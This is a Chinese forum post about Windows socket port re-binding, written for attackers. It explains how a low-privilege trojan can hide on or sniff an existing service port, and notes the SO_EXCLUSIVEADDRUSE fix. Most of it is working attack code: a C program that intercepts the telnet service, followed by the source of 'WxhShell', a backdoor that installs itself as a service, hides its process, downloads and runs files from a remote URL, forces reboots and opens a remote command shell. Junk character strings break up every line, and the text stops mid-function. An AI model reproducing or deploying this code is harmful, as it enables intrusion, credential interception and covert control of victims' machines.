社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18818阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /1Q i9uit  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p` '8M  
)w.\xA~|  
  saddr.sin_family = AF_INET; k~<b~VcU  
/M.@dW7 w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p%_m!   
Ul41R Ny)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,2I8,MOg  
c,\!<4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \vU1*:3  
0!^vQ  
  这意味着什么?意味着可以进行如下的攻击: <o\2-fWvY  
aeP 6JHj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Xw|t.0  
~gjREl,+D#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H /kSFf{  
DV,rh83.ip  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |6mDooTy  
:Y AxL J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~PoBvHi  
[J6*Q9B<V&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y].vll8R  
AhjUFz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r-ldqj  
H,F/u&O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ) ag8]   
pX nY=  
  #include #DL( %=:  
  #include oZY2K3J)  
  #include 0^27grU>   
  #include    Ot]Y/;K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2I 2#o9(Ar  
  int main() j\ dY  
  { ,s?7EHtC  
  WORD wVersionRequested; LHt{y3l]  
  DWORD ret; ]Gm $0uS  
  WSADATA wsaData; ~sI$xX!  
  BOOL val; ]lKQ wpX3  
  SOCKADDR_IN saddr; *TjolE~o  
  SOCKADDR_IN scaddr; -\.'WZo`  
  int err; 7H1 ii   
  SOCKET s; 5g{L -8XwI  
  SOCKET sc; `3v! i   
  int caddsize; I^5T9}>Q  
  HANDLE mt; ]G0`W6;$]  
  DWORD tid;   YEEgDw]BQ  
  wVersionRequested = MAKEWORD( 2, 2 );  QTN _Z#'  
  err = WSAStartup( wVersionRequested, &wsaData ); g' xR$6t  
  if ( err != 0 ) { V ifQ@  
  printf("error!WSAStartup failed!\n"); /<HEcB  
  return -1; Y[A`r0  
  } =s2dD3Fr|  
  saddr.sin_family = AF_INET; t5%\`Yo?  
   *mc]Oa  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &*}NN5Sv  
[I`r[u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ; FO1b*  
  saddr.sin_port = htons(23); k{fCU%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z)Y<@2V*C  
  { &IQp&  
  printf("error!socket failed!\n"); $uA?c& e  
  return -1; )-_NtMr~`!  
  } :y?xS  
  val = TRUE; _L6WbRu|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MNE{mV(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^8mF0K&  
  { X[frL)k]  
  printf("error!setsockopt failed!\n"); uc% &g  
  return -1; > n~l\ fC  
  } e7{n=M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =sqh PS<>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iK*2 Z$`lw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v;E7UL .w  
6\MJvg\;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3~e"CKD>  
  { G;n'c7BV  
  ret=GetLastError(); [TZlvX(E  
  printf("error!bind failed!\n"); y\'t{>U/  
  return -1; UF[2Rb8?  
  } @quNVx(y  
  listen(s,2); 58H[sM4>  
  while(1) ^y?7B_%:B#  
  { vrtK~5K  
  caddsize = sizeof(scaddr); %$b)l? !  
  //接受连接请求 "t<$ {  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @j%r6N  
  if(sc!=INVALID_SOCKET) \dyJ=tg  
  { oKIry 8'^N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _}X_^taTZS  
  if(mt==NULL) 5Rv6+d  
  { kIAWI;H{  
  printf("Thread Creat Failed!\n"); Gs*FbrY  
  break; U9D4bn D  
  } {emO&#=@CP  
  } m6a q_u{W  
  CloseHandle(mt); Ni5~Buf  
  } la ~T)U7  
  closesocket(s); U!:Q|':=h  
  WSACleanup(); D6iHkDTg  
  return 0; ti:qOSIDTA  
  }   7$(>Z^ Em  
  DWORD WINAPI ClientThread(LPVOID lpParam) a!,q\p8<t0  
  { ~q]+\qty4  
  SOCKET ss = (SOCKET)lpParam; ^h+<Q%'a'  
  SOCKET sc; 10v4k<xb  
  unsigned char buf[4096]; &zsaVm8  
  SOCKADDR_IN saddr; K2T&U$ ,  
  long num; *p;Fwj]  
  DWORD val; 1}e1:m]r  
  DWORD ret; eRC /Pr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VGoD2,(b^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #>-_z  
  saddr.sin_family = AF_INET; .Od.lxz"mp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); esH>NH_  
  saddr.sin_port = htons(23); 'CT 8vt;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^l#Z*0@><~  
  { #vi `2F  
  printf("error!socket failed!\n"); RVv@x5  
  return -1; TIg 3'au  
  } od{b]HvgS  
  val = 100; y]5O45E0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;BV1E|j  
  { j]EeL=H<P  
  ret = GetLastError(); a3i4eGT-  
  return -1; 2R&msdF   
  } } h|1H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \*x]xc/^  
  { eK\1cs  
  ret = GetLastError(); [HB>\   
  return -1; <d,Qi.G4  
  } o5gt`H"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -W(O~AK  
  { )s6pOxWx  
  printf("error!socket connect failed!\n"); c>~"Z-VtX  
  closesocket(sc); WjxO M\?#  
  closesocket(ss); "?|sC{'C4j  
  return -1; +0mU)4n/  
  }  4I7}  
  while(1) nwh7DU i  
  { F}P+3IaE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [*U6L<JI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $:V'+s4o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^)Xl7d|m+  
  num = recv(ss,buf,4096,0); ~:r:?PwWG  
  if(num>0) OD !b*Iy|  
  send(sc,buf,num,0); 4y&%YLMpl  
  else if(num==0) !T/ ^zc;G  
  break; {-IH?!&v  
  num = recv(sc,buf,4096,0); 5BCHW X*y  
  if(num>0) Hc1S:RW  
  send(ss,buf,num,0); :T(3!}4  
  else if(num==0) H8+7rM  
  break; /t`s.!k  
  } dieGLA<5_X  
  closesocket(ss); :R+}[|FV  
  closesocket(sc); Uk=jQfA*J  
  return 0 ; b: UTq 7^  
  } [(U:1&x &  
M=hxOta  
H%`Ja('"p  
========================================================== ;^nN!KDjR  
He att?(RR  
下边附上一个代码,,WXhSHELL M<oIo 036  
~G.'pyW  
========================================================== ohqi4Y!j/~  
'`Eb].s*  
#include "stdafx.h" a#t:+iw  
MPx%#'Q  
#include <stdio.h> Dbt"}#uit;  
#include <string.h> 2Z 4Ekq0@  
#include <windows.h> OnE#8*8  
#include <winsock2.h> iB1"aE3  
#include <winsvc.h> 6qQdTp{i  
#include <urlmon.h> [+EmV>Y  
n46H7e(ej\  
#pragma comment (lib, "Ws2_32.lib") ]ovP^]]V  
#pragma comment (lib, "urlmon.lib") L=4%MyZ.e  
Zq7Y('=`t@  
#define MAX_USER   100 // 最大客户端连接数 };"-6e/9  
#define BUF_SOCK   200 // sock buffer -J8&!S8X  
#define KEY_BUFF   255 // 输入 buffer 5hwe ul>S  
pEf1[ zq  
#define REBOOT     0   // 重启 vZ[wr@)  
#define SHUTDOWN   1   // 关机 4Cs |F7R  
aI]EwVz-q  
#define DEF_PORT   5000 // 监听端口 lt\. )Y>4  
F]kn4zr  
#define REG_LEN     16   // 注册表键长度 z97RNT|Y7U  
#define SVC_LEN     80   // NT服务名长度 `R@1Sc<*|  
%fB]N  
// 从dll定义API ^$-ID6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ` 6a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b_2bg>|;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gE$D#PZa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xi|T7,\X  
c:(Xk zj  
// wxhshell配置信息 LUSBRr8  
struct WSCFG { k I  
  int ws_port;         // 监听端口 (/TYET_H  
  char ws_passstr[REG_LEN]; // 口令 xwK{}==U  
  int ws_autoins;       // 安装标记, 1=yes 0=no W]b>k lp;  
  char ws_regname[REG_LEN]; // 注册表键名 8i:E$7etH  
  char ws_svcname[REG_LEN]; // 服务名 qzD<_ynA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %mKM9>lf#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *9J >3   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o9I=zAGjy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yxik .S+G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2wR?ON=Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5=Cea  
r]JV !'R  
}; jpijnz{M  
@@->A9'L  
// default Wxhshell configuration fS9TDy  
struct WSCFG wscfg={DEF_PORT, `5da  
    "xuhuanlingzhe", <r 2$k"*:  
    1, />^sGB  
    "Wxhshell", Msj(>U&}+  
    "Wxhshell", Sep/N"7~t  
            "WxhShell Service", w)}' {]P"c  
    "Wrsky Windows CmdShell Service", /G*]3=cSe  
    "Please Input Your Password: ", >1luLp/,$  
  1, ;ED` 7  
  "http://www.wrsky.com/wxhshell.exe", JmlMfMpXMs  
  "Wxhshell.exe" /j%(Z/RM  
    }; 9R$0[HbI3  
hO8~Rg   
// 消息定义模块 hb@,fgo!Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q|N,?f9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~4-:;8a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h"O4r8G}  
char *msg_ws_ext="\n\rExit."; >JOEp0J  
char *msg_ws_end="\n\rQuit."; ,j3Yvn W  
char *msg_ws_boot="\n\rReboot..."; >~_oSC)E  
char *msg_ws_poff="\n\rShutdown..."; #R^^XG`1  
char *msg_ws_down="\n\rSave to "; T,G38  
)>-94xx|  
char *msg_ws_err="\n\rErr!"; -d'swx2aZ!  
char *msg_ws_ok="\n\rOK!"; [%?ViKW  
ZQ@ Ul  
char ExeFile[MAX_PATH]; 3Lg)237&j  
int nUser = 0; 4^*+G]]wZ~  
HANDLE handles[MAX_USER]; B Oc2<M/\  
int OsIsNt; y}aKL(AaU  
/i:c!l9  
SERVICE_STATUS       serviceStatus; a ][t#`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \tCxz(vKz  
Lp1\vfU<+  
// 函数声明 I(rZ(|^A  
int Install(void); u9c^:Op  
int Uninstall(void); * I)F5M  
int DownloadFile(char *sURL, SOCKET wsh); eHX;*~e6)  
int Boot(int flag); <rQ+ErDA  
void HideProc(void); 4eD>DW  
int GetOsVer(void); QYB66g:  
int Wxhshell(SOCKET wsl); T~D2rt\  
void TalkWithClient(void *cs); UO~Xzx!e  
int CmdShell(SOCKET sock); /9QC$Z):<  
int StartFromService(void); /&>vhpZ}  
int StartWxhshell(LPSTR lpCmdLine); X0FTD':f  
*OM+d$l!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OdSglB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8bTE# 2+-  
BQo$c~  
// 数据结构和表定义 b+/z,c6w  
SERVICE_TABLE_ENTRY DispatchTable[] = AQ)DiH  
{ 1\u{1 V  
{wscfg.ws_svcname, NTServiceMain}, A WS[e$Mt2  
{NULL, NULL} ;rj|>  
}; W]B75  
=PM6:3aKh  
// 自我安装 _GW,9s^A  
int Install(void) 'lWgHmE  
{ P >>VBh?  
  char svExeFile[MAX_PATH]; qT153dNA&  
  HKEY key; EX"o9'  
  strcpy(svExeFile,ExeFile); b f j]Q  
V'M#."Of/  
// 如果是win9x系统,修改注册表设为自启动 *!5X!\e_  
if(!OsIsNt) { *4 HogC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n.l7V<1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G4<M@ET  
  RegCloseKey(key); a[ Y\5Ojm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hI6Tp>b*~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H$M{thW  
  RegCloseKey(key); BJ*8mKi h  
  return 0; 1`q>*S](  
    } >{1 i8 b@  
  } SoJ=[5W  
} =zsA@UM0  
else { wg}rMJoG|  
e8,!x9%J  
// 如果是NT以上系统,安装为系统服务 wAA9M4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); is6M{K3  
if (schSCManager!=0) JqTR4[`Z\  
{ Dkyw3*LCn%  
  SC_HANDLE schService = CreateService ;N?raz2mEi  
  ( @3v[L<S{  
  schSCManager, {b,#l]v  
  wscfg.ws_svcname, k [eWhdSw  
  wscfg.ws_svcdisp, 7*>(C*q=  
  SERVICE_ALL_ACCESS, =yCz!vc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]!'}{[1}  
  SERVICE_AUTO_START, Nc_Qd4<[@G  
  SERVICE_ERROR_NORMAL, v/G)E_  
  svExeFile, BenUyv1d  
  NULL, o |"iW" +  
  NULL, ]w/%>  
  NULL, P.Gmj;  
  NULL, T`W37fz0  
  NULL 6` 4,  
  ); phP%  
  if (schService!=0) 6|10OTVu`  
  { c[zGWF#1>  
  CloseServiceHandle(schService); f+V^q4  
  CloseServiceHandle(schSCManager); /oC@:7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P ~rTuj  
  strcat(svExeFile,wscfg.ws_svcname); =u<jxV9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `)n/J+g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p%#=OtkC  
  RegCloseKey(key); ZxoAf;U~  
  return 0; S%IhpTSe6  
    } VlFhfOR6t  
  } 3R?6{.  
  CloseServiceHandle(schSCManager); shuoEeoo  
} r"$~Gg.%(  
} kJNu2S  
VK[`e[.C  
return 1; ,cFBLj(@  
} <!a%GI  
_%@ri]u{ov  
// 自我卸载 |y DaFv  
int Uninstall(void) E HH+)mlo  
{ #v\o@ArX  
  HKEY key; V]W-**j<  
l|L ]==M  
if(!OsIsNt) { (_nU}<y_i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &pFP=|Pq  
  RegDeleteValue(key,wscfg.ws_regname); %d^ =$Q  
  RegCloseKey(key); LA4,o@V`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jn._4TQ*}  
  RegDeleteValue(key,wscfg.ws_regname); d Z P;f^^  
  RegCloseKey(key); `%$l b:e  
  return 0; 8Y P7'Fz  
  } c +N\uG4  
} hOR1R B  
} xY@<<  
else { J|@kF!6  
ftRzgW);  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7R#$Hm  
if (schSCManager!=0) 2B[I- K s  
{ 'tJ@+(tqw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HSlAm&Y\  
  if (schService!=0) I;UCKoFT  
  { I'c rH/z9  
  if(DeleteService(schService)!=0) { H]PEE!C;xC  
  CloseServiceHandle(schService); 4O '%$6KR(  
  CloseServiceHandle(schSCManager); fp2uk3Bm[  
  return 0; WVdF/H  
  } @XN*H- |  
  CloseServiceHandle(schService); (dHil#l  
  } 4Ixu%  
  CloseServiceHandle(schSCManager); 6g 5Lf)yG  
} v{O(}@  
} &H:2TL!  
k{E!X  
return 1; DgGG*OXY  
} EeDK ^W8N  
gT#hF]c:  
// 从指定url下载文件 _Eus7  
int DownloadFile(char *sURL, SOCKET wsh) xi}3)5  
{ NU(YllPB  
  HRESULT hr; d_)VeuE2  
char seps[]= "/"; =@s{H +  
char *token; DpvMY94Qh  
char *file; %3es+A@  
char myURL[MAX_PATH]; J?oEzf;M  
char myFILE[MAX_PATH]; f <LRM  
aB2t/ua  
strcpy(myURL,sURL); I`S?2i2H  
  token=strtok(myURL,seps); N'=b8J-fF  
  while(token!=NULL) R:, |xz  
  { =S<E[D{V`  
    file=token; ;3 /*Z5p  
  token=strtok(NULL,seps); w3 K>IDWI7  
  } +OfHa\Nz  
!w{(}n2Wq  
GetCurrentDirectory(MAX_PATH,myFILE); YjzGF=g#  
strcat(myFILE, "\\"); [KNA5(Y0  
strcat(myFILE, file); SxW.dT8{  
  send(wsh,myFILE,strlen(myFILE),0); ;, ^AR{+x  
send(wsh,"...",3,0); IZ&FNOSZ+4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v 0D@`C  
  if(hr==S_OK) 0'O6-1Li  
return 0; .Gn-`  
else * %w8bB  
return 1; I0v4TjHH  
UY/qI%#L#,  
} _&K>fy3t&  
!H4C5wDu  
// 系统电源模块 !f)^z9QX8  
int Boot(int flag) wG",Obja  
{ ;C~:C^Q\H  
  HANDLE hToken; MOIMW+n  
  TOKEN_PRIVILEGES tkp; _)-y&  
3?uah' D5  
  if(OsIsNt) { O%m>4OdH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3\H0Nkubts  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OHK]=DH:M  
    tkp.PrivilegeCount = 1; .aD=d\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6&[rA TU+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7Lx =VX#]q  
if(flag==REBOOT) { lzK,VZ=mM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (T1d!v"~"  
  return 0; 57`9{.HB  
} I@l }%L  
else { N5Ih+8zT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (laVmU?I7  
  return 0; P>qDQ1  
} 6+W`:0je  
  } 'WcP+4c  
  else { {7d\du&G  
if(flag==REBOOT) { CNrK]+>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C#:L.qK  
  return 0; 5v5K}hx  
} cnR18NK  
else { uM@ve(8\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x|U[|i,;  
  return 0; r"=6s/q7  
} ;Ff5ooL{  
} fe+2U|y  
7R=A]@  
return 1; m!^z{S  
} qExmf%q:q  
q#*b4q {  
// win9x进程隐藏模块 !z |a+{  
void HideProc(void) epQdj=h  
{ '<%;Nv  
$uCY\ xqZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nj$h/P  
  if ( hKernel != NULL ) >NAg*1  
  { /4Jm]"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N2\{h(*u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nW!pOTJq21  
    FreeLibrary(hKernel); &ngG_y8}&  
  } (VB-5&b  
NG\^>.8  
return; Iv51,0A  
} 4=7h1qex  
Cbjx{  
// 获取操作系统版本 < SvjvV  
int GetOsVer(void) WQ)vu&;  
{ &v.Nj9{zi  
  OSVERSIONINFO winfo; q+cx.Rc#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r>;6>ZMe  
  GetVersionEx(&winfo); *;Gnod<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d <Rv~F@  
  return 1; GOj<>h}r  
  else Z Ne(sg~G  
  return 0; =SpD6 9-H  
} aT20FEZ;  
z P=3B%$  
// 客户端句柄模块 ZmzYJ$:6  
int Wxhshell(SOCKET wsl) 2t 1u{  
{ yvt :/X  
  SOCKET wsh; Pef$-3aP>E  
  struct sockaddr_in client; prCr"y` M  
  DWORD myID; <v[UYvZvY  
Ncsk~=[  
  while(nUser<MAX_USER)  Mt   
{ y3Lq"?h  
  int nSize=sizeof(client); _p,1m[&M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OVhtU+r  
  if(wsh==INVALID_SOCKET) return 1; Olltu"u  
:Mzkm^7B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LL7un_EC  
if(handles[nUser]==0) *;X,yEK[  
  closesocket(wsh); $x|4cW2  
else CvB)+>oa  
  nUser++; X@up=%(  
  } U!Eo*?LU$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0 \}%~e  
xe9V'wICp(  
  return 0; #Oq~ZV|<l  
} hH*/[|z  
*8#]3M]  
// 关闭 socket 3iv;4e ;  
void CloseIt(SOCKET wsh) 3{R7y  
{ 4I7;/ZgALQ  
closesocket(wsh); /I@Dv?  
nUser--; }S}9Pm,:  
ExitThread(0); /Lt Lu  
} >do3*ko A  
ZD t|g^  
// 客户端请求句柄 o}VW%G"  
void TalkWithClient(void *cs) Ct\n1T }  
{ O.^1r  
Hsvu&>[`S  
  SOCKET wsh=(SOCKET)cs; XR.Sm<A[  
  char pwd[SVC_LEN]; 02 6|u|R  
  char cmd[KEY_BUFF]; J'4V_Kjg-  
char chr[1]; e!.r- v9  
int i,j; NkL>ru!b9  
J~(M%] &k^  
  while (nUser < MAX_USER) { -wUw)gJbM  
J4>k9~q  
if(wscfg.ws_passstr) { ]] Jg%}o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _{f7e^;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )9? ^;HS  
  //ZeroMemory(pwd,KEY_BUFF); C Ch38qBp  
      i=0; +VdC g_  
  while(i<SVC_LEN) { ^7$V>|  
sH `(y)`_  
  // 设置超时 jI~GRk  
  fd_set FdRead; Sz3Tp5b  
  struct timeval TimeOut; EL+P,q/b  
  FD_ZERO(&FdRead); kNDN<L  
  FD_SET(wsh,&FdRead); -eSZpzp  
  TimeOut.tv_sec=8;  0gOB $W  
  TimeOut.tv_usec=0; ';.n#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iqh"sx{5bp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z*BGaSX %  
pG0Ca](  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "j] r   
  pwd=chr[0]; ,~^BoH}  
  if(chr[0]==0xd || chr[0]==0xa) { {c\KiWN  
  pwd=0; 6}S1um4 F  
  break; dPO|x+N,  
  } }"o,j>IP  
  i++; cs6I K6wo  
    } fjwUh>[ }  
l d@B  
  // 如果是非法用户,关闭 socket .GH#`j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dp'xd>m  
} ?PSVVU q,Z  
wrmbOT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $(JB"%S8c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9m:G8j'  
nD/; Gq  
while(1) { (TQhO$,  
C#Y_La  
  ZeroMemory(cmd,KEY_BUFF); ]v6s](CE  
%}x$YD O  
      // 自动支持客户端 telnet标准   cW*p}hD  
  j=0; DgB]y6~KXl  
  while(j<KEY_BUFF) { q/l@J3p[qm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R}VEq gq  
  cmd[j]=chr[0]; Al1BnFB  
  if(chr[0]==0xa || chr[0]==0xd) { "- XJZ;5  
  cmd[j]=0; NwB;9ZhZ  
  break; ^ua8Ya  
  } @}B,l.Tj  
  j++; "FfIq;  
    } Y,;$RV@g  
byB ESyV!O  
  // 下载文件 ZuIw4u(9  
  if(strstr(cmd,"http://")) { R;2q=%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /ig'p53jL  
  if(DownloadFile(cmd,wsh)) \yNe5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4(O;lVT}  
  else s_`=ugue  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k5ZkD+0Jo  
  } `SH#t3 5,  
  else { oM4Q_An  
~D$?.,=l  
    switch(cmd[0]) { o6LZ05Z-&  
  8R;A5o,  
  // 帮助 Mu?hB{o1  
  case '?': { t3b64J[A{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UI}df<Ge  
    break; ~|t 7  
  } }W)c-91  
  // 安装 ]x<`(  
  case 'i': { JZM:R  
    if(Install()) 3duWk sERC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p z]T9ol~  
    else +#IsRiH%>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V(A p|I:G  
    break; d|?'yX  
    } k ICZc{} `  
  // 卸载 S85}&\m&4  
  case 'r': { dD{{G :V  
    if(Uninstall()) ]BiLLDz(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P.Uz[_&l6  
    else g k.c"$2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Rff3$  
    break; 0>KW94  
    } p[Yja y+  
  // 显示 wxhshell 所在路径 WP b4L9<  
  case 'p': { K9 tuiD+j  
    char svExeFile[MAX_PATH]; EX.`6,:+2  
    strcpy(svExeFile,"\n\r"); (ev(~Wc  
      strcat(svExeFile,ExeFile); alB[/.1  
        send(wsh,svExeFile,strlen(svExeFile),0); vsU1Lzna6@  
    break; (g>>   
    } +>,4d  
  // 重启 _ Uxt9 X  
  case 'b': { FBCi,_ \4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eJv_`#R&Of  
    if(Boot(REBOOT)) Q\ AM] U  
